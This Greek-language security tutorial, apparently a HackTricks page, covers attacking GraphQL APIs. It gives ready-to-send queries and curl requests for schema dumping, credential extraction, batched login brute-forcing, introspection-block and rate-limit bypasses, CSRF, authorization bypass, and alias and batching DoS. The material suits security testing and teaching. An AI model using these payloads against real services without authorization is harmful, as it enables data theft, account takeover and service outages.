GraphQL

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εισαγωγή

Το GraphQL είναι αναδεικνύεται ως μια αποδοτική εναλλακτική στη REST API, προσφέροντας μια απλουστευμένη προσέγγιση για την ανάκτηση δεδομένων από το backend. Σε αντίθεση με τη REST, που συχνά απαιτεί πολλαπλά αιτήματα σε διάφορα endpoints για τη συλλογή δεδομένων, το GraphQL επιτρέπει τη λήψη όλων των απαραίτητων πληροφοριών μέσω ενός μοναδικού αιτήματος. Αυτή η απλοποίηση ωφελεί σημαντικά τους προγραμματιστές, μειώνοντας την πολυπλοκότητα της διαδικασίας ανάκτησης δεδομένων.

GraphQL και Ασφάλεια

Με την εμφάνιση νέων τεχνολογιών, συμπεριλαμβανομένου του GraphQL, προκύπτουν επίσης νέες ευπάθειες ασφάλειας. Ένα βασικό σημείο είναι ότι το GraphQL δεν περιλαμβάνει μηχανισμούς αυθεντικοποίησης από προεπιλογή. Είναι ευθύνη των προγραμματιστών να εφαρμόσουν τα κατάλληλα μέτρα ασφάλειας. Χωρίς σωστή αυθεντικοποίηση, τα endpoints GraphQL μπορεί να εκθέσουν ευαίσθητες πληροφορίες σε μη αυθεντικοποιημένους χρήστες, δημιουργώντας σημαντικό κίνδυνο ασφαλείας.

Directory Brute Force Attacks and GraphQL

Για να εντοπιστούν εκτεθειμένες GraphQL instances, συνιστάται η συμπερίληψη συγκεκριμένων paths σε directory brute force attacks. Αυτά τα paths είναι:

  • /graphql
  • /graphiql
  • /graphql.php
  • /graphql/console
  • /api
  • /api/graphql
  • /graphql/api
  • /graphql/graphql

Ο εντοπισμός ανοιχτών GraphQL instances επιτρέπει την εξέταση των υποστηριζόμενων queries. Αυτό είναι κρίσιμο για την κατανόηση των δεδομένων που είναι προσβάσιμα μέσω του endpoint. Το σύστημα introspection του GraphQL διευκολύνει αυτή τη διαδικασία, περιγράφοντας ποιες queries υποστηρίζει ένα schema. Για περισσότερες πληροφορίες, ανατρέξτε στην τεκμηρίωση του GraphQL για το introspection: GraphQL: A query language for APIs.

Fingerprint

Το εργαλείο graphw00f μπορεί να εντοπίσει ποιο GraphQL engine χρησιμοποιείται σε έναν server και στη συνέχεια εκτυπώνει χρήσιμες πληροφορίες για τον security auditor.

Καθολικά queries

Για να ελεγχθεί εάν ένα URL είναι υπηρεσία GraphQL, μπορεί να σταλεί μια universal query, query{__typename}. Εάν η απάντηση περιλαμβάνει {"data": {"__typename": "Query"}}, αυτό επιβεβαιώνει ότι το URL φιλοξενεί ένα GraphQL endpoint. Αυτή η μέθοδος βασίζεται στο πεδίο __typename του GraphQL, το οποίο αποκαλύπτει τον τύπο του αντικειμένου που ερωτήθηκε.

query{__typename}

Βασική Εξερεύνηση

Graphql συνήθως υποστηρίζει GET, POST (x-www-form-urlencoded) και POST (json). Ωστόσο, για λόγους ασφάλειας συνιστάται να επιτρέπεται μόνο json για να αποτραπούν επιθέσεις CSRF.

Introspection

Για να χρησιμοποιήσετε introspection για να ανακαλύψετε πληροφορίες του schema, κάντε query το πεδίο __schema. Αυτό το πεδίο είναι διαθέσιμο στον root type όλων των queries.

query={__schema{types{name,fields{name}}}}

Με αυτό το ερώτημα θα βρείτε τα ονόματα όλων των τύπων που χρησιμοποιούνται:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Με αυτό το query μπορείτε να εξάγετε όλους τους τύπους, τα πεδία τους και τα ορίσματά τους (και τον τύπο των args). Αυτό θα είναι πολύ χρήσιμο για να ξέρετε πώς να κάνετε query στη βάση δεδομένων.

Σφάλματα

Είναι ενδιαφέρον να γνωρίζουμε αν τα σφάλματα θα εμφανίζονται, καθώς θα συμβάλλουν με χρήσιμες πληροφορίες.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Καταγραφή του σχήματος της βάσης δεδομένων μέσω Introspection

Tip

Εάν το introspection είναι ενεργοποιημένο αλλά το παραπάνω query δεν εκτελείται, δοκιμάστε να αφαιρέσετε τις οδηγίες onOperation, onFragment, και onField από τη δομή του query.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Ενσωματωμένο introspection query:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εξάγει όλες τις meta‑πληροφορίες από το graphql (object names, parameters, types…)

If introspection is enabled you can use GraphQL Voyager to view in a GUI all the options.

Querying

Τώρα που ξέρουμε τι είδους πληροφορίες αποθηκεύονται στη βάση δεδομένων, ας προσπαθήσουμε να εξάγουμε κάποιες τιμές.

Στην introspection μπορείτε να βρείτε ποιο object μπορείτε να query απευθείας (επειδή δεν μπορείτε να query ένα object μόνο και μόνο επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι το “queryType” ονομάζεται “Query” και ότι ένα από τα fields του αντικειμένου “Query” είναι το “flags”, που είναι επίσης ένας τύπος object. Επομένως μπορείτε να query το flag object.

Σημειώστε ότι ο τύπος του query “flags” είναι “Flags”, και αυτό το object ορίζεται ως εξής:

Μπορείτε να δείτε ότι τα αντικείμενα “Flags” αποτελούνται από name και value. Στη συνέχεια μπορείτε να πάρετε όλα τα names και values των flags με το query:

query={flags{name, value}}

Σημειώστε ότι στην περίπτωση που το αντικείμενο που θα ερωτηθεί είναι πρωτόγονος τύπος όπως string, όπως στο παρακάτω παράδειγμα

Μπορείτε απλά να το ερωτήσετε με:

query = { hiddenFlags }

Σε ένα άλλο παράδειγμα όπου υπήρχαν 2 objects μέσα στο αντικείμενο τύπου “Query”: “user” και “users”.
Αν αυτά τα objects δεν χρειάζονται κάποιο όρισμα για να γίνει search, μπορείς να ανακτήσεις όλη την πληροφορία από αυτά απλώς ζητώντας τα δεδομένα που θέλεις. Σε αυτό το παράδειγμα από το Internet θα μπορούσες να εξάγεις τα αποθηκευμένα usernames και passwords:

Ωστόσο, σε αυτό το παράδειγμα αν προσπαθήσεις να το κάνεις παίρνεις αυτό το σφάλμα:

Φαίνεται πως κάπως θα κάνει search χρησιμοποιώντας το “uid” όρισμα τύπου Int.
Πάντως, το ξέραμε ήδη — στην ενότητα Basic Enumeration προτάθηκε ένα query που μας έδειξε όλες τις απαραίτητες πληροφορίες: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Αν κοιτάξεις την εικόνα που παρέθεσα όταν έτρεξα αυτό το query θα δεις ότι το “user” είχε το arguid” τύπου Int.

Έτσι, εκτελώντας λίγο uid bruteforce βρήκα ότι στο uid=1 επιστράφηκαν ένα username και ένα password:
query={user(uid:1){user,password}}

Σημείωσε ότι ανακάλυψα πως μπορούσα να ζητήσω τα parametersuser” και “password” γιατί αν προσπαθήσω να ψάξω κάτι που δεν υπάρχει (query={user(uid:1){noExists}}) παίρνω αυτό το σφάλμα:

Και κατά τη διάρκεια της enumeration phase ανακάλυψα ότι το αντικείμενο “dbuser” είχε ως fields τα “user” και “password.”

Query string dump trick (thanks to @BinaryShadow_)

If you can search by a string type, like: query={theusers(description: ""){username,password}} and you search for an empty string it will dump all data. (Note this example isn’t related with the example of the tutorials, for this example suppose you can search using “theusers” by a String field called “description).

Searching

Σε αυτή τη ρύθμιση, μια database περιέχει persons και movies. Οι persons αναγνωρίζονται από το email και το name· οι movies από το name και το rating. Οι persons μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν movies, υποδεικνύοντας σχέσεις μέσα στη database.

Μπορείς να search persons by το name και να πάρεις τα emails τους:

{
searchPerson(name: "John Doe") {
email
}
}

Μπορείτε να αναζητήσετε πρόσωπα με το όνομα και να λάβετε τις συνδρομημένες ταινίες:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Σημειώστε πώς υποδεικνύεται να ανακτήσετε το name των subscribedMovies του ατόμου.

Μπορείτε επίσης να αναζητήσετε πολλά αντικείμενα ταυτόχρονα. Σε αυτή την περίπτωση, γίνεται αναζήτηση 2 ταινιών:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Ή ακόμα και σχέσεις πολλών διαφορετικών αντικειμένων χρησιμοποιώντας ψευδώνυμα:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Μεταλλάξεις

Οι mutations χρησιμοποιούνται για να γίνουν αλλαγές στην πλευρά του server.

Στην introspection μπορείτε να βρείτε τις δηλωμένες mutations. Στην παρακάτω εικόνα το “MutationType” ονομάζεται “Mutation” και το αντικείμενο “Mutation” περιέχει τα ονόματα των mutations (όπως “addPerson” σε αυτή την περίπτωση):

Σε αυτή τη διαμόρφωση, μια database περιέχει persons και movies. Οι persons αναγνωρίζονται από το email και το name τους· οι movies από το name και το rating τους. Οι persons μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν movies, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων.

Μια mutation για να δημιουργήσει νέες movies μέσα στη βάση δεδομένων μπορεί να είναι όπως η ακόλουθη (σε αυτό το παράδειγμα η mutation ονομάζεται addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Σημειώστε πώς τόσο οι τιμές όσο και ο τύπος των δεδομένων υποδεικνύονται στο query.

Επιπλέον, η βάση δεδομένων υποστηρίζει μια λειτουργία mutation, με όνομα addPerson, που επιτρέπει τη δημιουργία persons μαζί με τις συσχετίσεις τους με υπάρχοντες friends και movies. Είναι κρίσιμο να σημειωθεί ότι οι friends και movies πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργημένο person.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

Όπως εξηγείται στο one of the vulns described in this report, το directive overloading συνεπάγεται την κλήση ενός directive ακόμη και εκατομμύρια φορές ώστε ο server να σπαταλήσει λειτουργίες μέχρι να είναι δυνατό ένα DoS.

Batching brute-force in 1 API request

This information was take from https://lab.wallarm.com/graphql-batching-attack/.
Η authentication μέσω GraphQL API με simultaneous αποστολή πολλών queries με διαφορετικά credentials για έλεγχο. Είναι μια κλασική brute force επίθεση, αλλά πλέον είναι δυνατό να σταλούν περισσότερα από ένα login/password ζεύγη ανά HTTP request λόγω της δυνατότητας GraphQL batching. Αυτή η προσέγγιση μπορεί να ξεγελάσει εξωτερικές εφαρμογές παρακολούθησης rate ώστε να νομίζουν ότι όλα είναι καλά και ότι δεν υπάρχει bot που κάνει brute-forcing για να μαντέψει passwords.

Below you can find the simplest demonstration of an application authentication request, with 3 different email/passwords pairs at a time. Obviously it’s possible to send thousands in a single request in the same way:

Όπως φαίνεται από το screenshot της απάντησης, το πρώτο και το τρίτο request επέστρεψαν null και αντέγραψαν τις αντίστοιχες πληροφορίες στην error ενότητα. Η second mutation είχε τα σωστά authentication δεδομένα και η απάντηση περιείχε το σωστό authentication session token.

GraphQL Without Introspection

Πλέον όλο και περισσότερα graphql endpoints απενεργοποιούν την introspection. Ωστόσο, τα errors που επιστρέφει το graphql όταν λαμβάνει ένα απροσδόκητο request είναι αρκετά για εργαλεία όπως clairvoyance ώστε να αναπαραγάγουν το μεγαλύτερο μέρος του schema.

Επιπλέον, το Burp Suite extension GraphQuail παρακολουθεί GraphQL API requests που περνούν από το Burp και χτίζει ένα εσωτερικό GraphQL schema με κάθε νέο query που βλέπει. Μπορεί επίσης να εκθέσει το schema για GraphiQL και Voyager. Το extension επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα introspection query. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα queries, arguments και πεδία που είναι διαθέσιμα για χρήση μέσα στο API. Για περισσότερες πληροφορίες check this.

Μια καλή wordlist για την ανακάλυψη GraphQL entities can be found here.

Παράκαμψη των GraphQL introspection defences

Για να παρακαμφθούν οι περιορισμοί σε introspection queries σε APIs, η εισαγωγή ενός ειδικού χαρακτήρα μετά το __schema keyword αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινά λάθη προγραμματιστών σε regex patterns που στοχεύουν να μπλοκάρουν την introspection εστιάζοντας στο __schema keyword. Προσθέτοντας χαρακτήρες όπως κενά, new lines και κόμματα, που το GraphQL αγνοεί αλλά ίσως δεν έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα introspection query με ένα newline μετά το __schema μπορεί να παρακάμψει τέτοιες άμυνες:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Αν δεν τα καταφέρετε, σκεφτείτε εναλλακτικές μεθόδους αιτήματος, όπως GET requests ή POST with x-www-form-urlencoded, καθώς οι περιορισμοί ενδέχεται να ισχύουν μόνο για POST requests.

Δοκιμάστε WebSockets

Όπως αναφέρεται στο this talk, ελέγξτε αν είναι δυνατό να συνδεθείτε στο graphQL μέσω WebSockets, καθώς αυτό μπορεί να σας επιτρέψει να παρακάμψετε ένα πιθανό WAF και να κάνει την websocket επικοινωνία να leak το schema του graphQL:

ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}

Ανακάλυψη Εκτεθειμένων Δομών GraphQL

Όταν το introspection είναι απενεργοποιημένο, η εξέταση του source code του ιστότοπου για προφορτωμένα queries σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτές οι queries μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα Sources στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες για το schema του API και αποκαλύπτοντας ενδεχομένως εκτεθειμένες ευαίσθητες queries. Οι εντολές για αναζήτηση μέσα στα εργαλεία προγραμματιστή είναι:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

Ανασυγκρότηση σχήματος βάσει σφαλμάτων & engine fingerprinting (InQL v6.1+)

Όταν η introspection είναι μπλοκαρισμένη, το InQL v6.1+ μπορεί τώρα να ανακατασκευάσει το προσβάσιμο schema αποκλειστικά από την ανατροφοδότηση σφαλμάτων. Ο νέος schema bruteforcer ομαδοποιεί υποψήφια ονόματα πεδίων/ορισμάτων από μια ρυθμιζόμενη wordlist και τα στέλνει σε multi-field operations για να μειώσει το HTTP chatter. Χρήσιμα μοτίβα σφαλμάτων συλλέγονται αυτόματα:

  • Field 'bugs' not found on type 'inql' επιβεβαιώνει την ύπαρξη του γονικού τύπου ενώ απορρίπτει μη έγκυρα ονόματα πεδίων.
  • Argument 'contribution' is required δείχνει ότι ένα όρισμα είναι υποχρεωτικό και αποκαλύπτει την ορθογραφία του.
  • Suggestion hints such as Did you mean 'openPR'? τροφοδοτούνται πίσω στην ουρά ως επικυρωμένοι υποψήφιοι.
  • By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like [Episode!].

Ο bruteforcer συνεχίζει να αναδρομεί σε οποιονδήποτε τύπο αποφέρει νέα πεδία, οπότε μια wordlist που αναμειγνύει γενικά GraphQL ονόματα με app-specific υποθέσεις θα χαρτογραφήσει τελικά μεγάλα τμήματα του schema χωρίς introspection. Ο χρόνος εκτέλεσης περιορίζεται κυρίως από rate limiting και τον όγκο υποψηφίων, οπότε η λεπτομερής ρύθμιση των InQL ρυθμίσεων (wordlist, batch size, throttling, retries) είναι κρίσιμη για πιο διακριτικές επιχειρήσεις.

Στην ίδια έκδοση, το InQL παρέχει έναν GraphQL engine fingerprinter (δανειζόμενος signatures από εργαλεία όπως graphw00f). Το module στέλνει σκόπιμα άκυρες directives/queries και ταξινομεί το backend ταιριάζοντας το ακριβές κείμενο του σφάλματος. Για παράδειγμα:

query @deprecated {
__typename
}
  • Apollo απαντά με Directive "@deprecated" may not be used on QUERY.
  • GraphQL Ruby απαντά '@deprecated' can't be applied to queries.

Μόλις αναγνωριστεί ένας engine, το InQL εμφανίζει την αντίστοιχη καταχώρηση από το GraphQL Threat Matrix, βοηθώντας τους ελεγκτές να προτεραιοποιήσουν τις αδυναμίες που συνοδεύουν αυτή την οικογένεια διακομιστών (προεπιλεγμένη συμπεριφορά introspection, όρια βάθους, κενά CSRF, ανεβάσματα αρχείων, κ.ά.).

Τέλος, αυτόματη δημιουργία μεταβλητών αφαιρεί ένα κλασικό εμπόδιο όταν γίνεται pivot σε Burp Repeater/Intruder. Όποτε μια operation απαιτεί variables JSON, το InQL πλέον εισάγει λογικές προεπιλογές ώστε το αίτημα να περάσει την επικύρωση του schema στην πρώτη αποστολή:

"String"  -> "exampleString"
"Int"     -> 42
"Float"   -> 3.14
"Boolean" -> true
"ID"      -> "123"
ENUM      -> first declared value

Τα εμφωλευμένα αντικείμενα εισόδου κληρονομούν την ίδια αντιστοίχιση, οπότε αποκτάτε άμεσα ένα συντακτικά και σημασιολογικά έγκυρο payload που μπορεί να υποβληθεί σε fuzz για SQLi/NoSQLi/SSRF/logic bypasses χωρίς να απαιτείται χειροκίνητο reverse-engineering κάθε ορίσματος.

CSRF στο GraphQL

Αν δεν ξέρετε τι είναι το CSRF, διαβάστε την παρακάτω σελίδα:

CSRF (Cross Site Request Forgery)

Εκεί θα βρείτε αρκετά GraphQL endpoints διαμορφωμένα χωρίς CSRF tokens.

Σημειώστε ότι τα GraphQL requests συνήθως αποστέλλονται μέσω POST requests χρησιμοποιώντας το Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Ωστόσο, τα περισσότερα GraphQL endpoints υποστηρίζουν επίσης form-urlencoded αιτήματα POST:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Επομένως, καθώς αιτήματα CSRF όπως τα προηγούμενα αποστέλλονται χωρίς preflight requests, είναι δυνατό να γίνουν αλλαγές στο GraphQL καταχρώμενοι ένα CSRF.

Σημειώστε όμως ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας samesite του Chrome είναι Lax. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από τρίτο party web σε GET requests.

Σημειώστε ότι συνήθως είναι δυνατό να σταλεί το query request και ως GET request και το CSRF token ενδέχεται να μην επαληθεύεται σε ένα GET request.

Επιπλέον, η κατάχρηση μιας XS-Search attack μπορεί να καταστήσει δυνατή την εξαγωγή περιεχομένου από το GraphQL endpoint χρησιμοποιώντας τα credentials του χρήστη.

Για περισσότερες πληροφορίες ελέγξτε την original post here.

Cross-site WebSocket hijacking in GraphQL

Similar to CRSF vulnerabilities abusing graphQL it’s also possible to perform a Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies and make a user perform unexpected actions in GraphQL.

For more information check:

WebSocket Attacks

Εξουσιοδότηση στο GraphQL

Πολλές GraphQL functions που ορίζονται στο endpoint ενδέχεται να ελέγχουν μόνο την authentication του requester, αλλά όχι την authorization.

Τροποποίηση των query input variables θα μπορούσε να οδηγήσει σε sensitive account details leaked.

Mutation θα μπορούσε ακόμη να οδηγήσει σε account takeover προσπαθώντας να τροποποιήσει δεδομένα άλλων λογαριασμών.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Παράκαμψη εξουσιοδότησης στο GraphQL

Chaining queries μαζί μπορούν να παρακάμψουν ένα αδύναμο σύστημα authentication.

Στο παρακάτω παράδειγμα μπορείτε να δείτε ότι η operation είναι “forgotPassword” και ότι θα έπρεπε να εκτελεστεί μόνο το forgotPassword query που αντιστοιχεί σε αυτήν. Αυτό μπορεί να παρακαμφθεί προσθέτοντας ένα query στο τέλος — σε αυτή την περίπτωση προσθέτουμε “register” και μια μεταβλητή user ώστε το σύστημα να εγγράψει έναν νέο χρήστη.

Παράκαμψη Rate Limits χρησιμοποιώντας Aliases στο GraphQL

Στο GraphQL, οι aliases είναι μια ισχυρή δυνατότητα που επιτρέπει την ρητή ονομασία ιδιοτήτων όταν γίνεται ένα API request. Αυτή η ικανότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση πολλαπλών περιπτώσεων του ίδιου τύπου αντικειμένου μέσα σε ένα μόνο request. Οι aliases μπορούν να χρησιμοποιηθούν για να ξεπεραστεί ο περιορισμός που εμποδίζει τα GraphQL αντικείμενα να έχουν πολλαπλές ιδιότητες με το ίδιο όνομα.

Για λεπτομερή κατανόηση των GraphQL aliases, συνιστάται ο ακόλουθος πόρος: Aliases.

Ενώ ο κύριος σκοπός των aliases είναι να μειώσει την ανάγκη για πολυάριθμα API calls, έχει εντοπιστεί μια ανεπιθύμητη περίπτωση χρήσης όπου οι aliases μπορούν να αξιοποιηθούν για την εκτέλεση brute force attacks σε ένα GraphQL endpoint. Αυτό είναι εφικτό επειδή ορισμένα endpoints προστατεύονται από rate limiters σχεδιασμένους να αποτρέπουν brute force attacks περιορίζοντας τον αριθμό των HTTP requests. Ωστόσο, αυτοί οι rate limiters ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των operations μέσα σε κάθε request. Δεδομένου ότι οι aliases επιτρέπουν την συμπερίληψη πολλαπλών queries σε ένα ενιαίο HTTP request, μπορούν να παρακάμψουν τέτοια μέτρα rate limiting.

Σκεφτείτε το παράδειγμα παρακάτω, το οποίο δείχνει πώς queries με aliases μπορούν να χρησιμοποιηθούν για να επαληθεύσουν την εγκυρότητα των κωδικών έκπτωσης του καταστήματος. Αυτή η μέθοδος μπορεί να παρακάμψει το rate limiting καθώς συγκεντρώνει πολλά queries σε ένα HTTP request, πιθανώς επιτρέποντας την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

DoS in GraphQL

Alias Overloading

Alias Overloading είναι μια ευπάθεια του GraphQL όπου επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλά aliases για το ίδιο πεδίο, προκαλώντας στον backend resolver να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του server, οδηγώντας σε Denial of Service (DoS). Για παράδειγμα, στο ερώτημα παρακάτω, το ίδιο πεδίο (expensiveField) ζητείται 1,000 φορές χρησιμοποιώντας aliases, αναγκάζοντας το backend να το υπολογίσει 1,000 φορές, ενδεχομένως εξαντλώντας CPU ή μνήμη:

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'

Για να το μετριάσετε, εφαρμόστε alias count limits, query complexity analysis, ή rate limiting για να αποτρέψετε την κατάχρηση πόρων.

Array-based Query Batching

Array-based Query Batching είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει το batching πολλαπλών queries σε ένα μόνο request, επιτρέποντας σε έναν attacker να στείλει μεγάλο αριθμό queries ταυτόχρονα. Αυτό μπορεί να υπερφορτώσει το backend εκτελώντας όλες τις batched queries παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, memory, database connections) και ενδεχομένως οδηγώντας σε Denial of Service (DoS). Εάν δεν υπάρχει όριο στον αριθμό των queries σε ένα batch, ένας attacker μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.

# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'

